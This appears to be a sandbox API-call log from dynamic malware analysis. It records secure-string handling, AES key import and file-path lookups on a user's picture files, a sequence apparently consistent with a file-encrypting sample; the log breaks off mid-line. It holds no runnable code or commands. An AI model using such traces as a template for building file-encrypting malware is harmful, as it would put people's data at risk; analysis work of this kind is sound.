SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.431] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.431] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.431] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.431] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.431] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.432] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.432] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.432] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.433] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.433] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.433] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.433] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.433] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.433] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.433] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.433] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.433] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.434] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.434] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.434] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.434] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.434] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.434] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.434] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.435] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.435] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.435] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.435] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.435] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.435] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.435] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.435] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.435] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.435] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.435] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.435] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.436] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.436] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.436] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.436] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.436] SystemFunction041 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.436] SystemFunction040 (in: Memory=0x4383d94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d94) returned 0x0 [0135.436] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.436] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.436] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.436] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.436] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.436] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.437] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.437] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.437] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.437] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.437] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0135.438] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02360) returned 1 [0135.438] CryptImportKey (in: hProv=0x8e02360, pbData=0x6a898f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84bf8) returned 1 [0135.438] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.438] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.438] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.439] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.439] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.439] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp")) returned 0x20 [0135.440] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp")) returned 0x20 [0135.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.440] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.440] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp", lpFilePart=0x0) returned 0x68 [0135.440] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.440] EtwEventActivityIdControl (in: ControlCode=0x3, 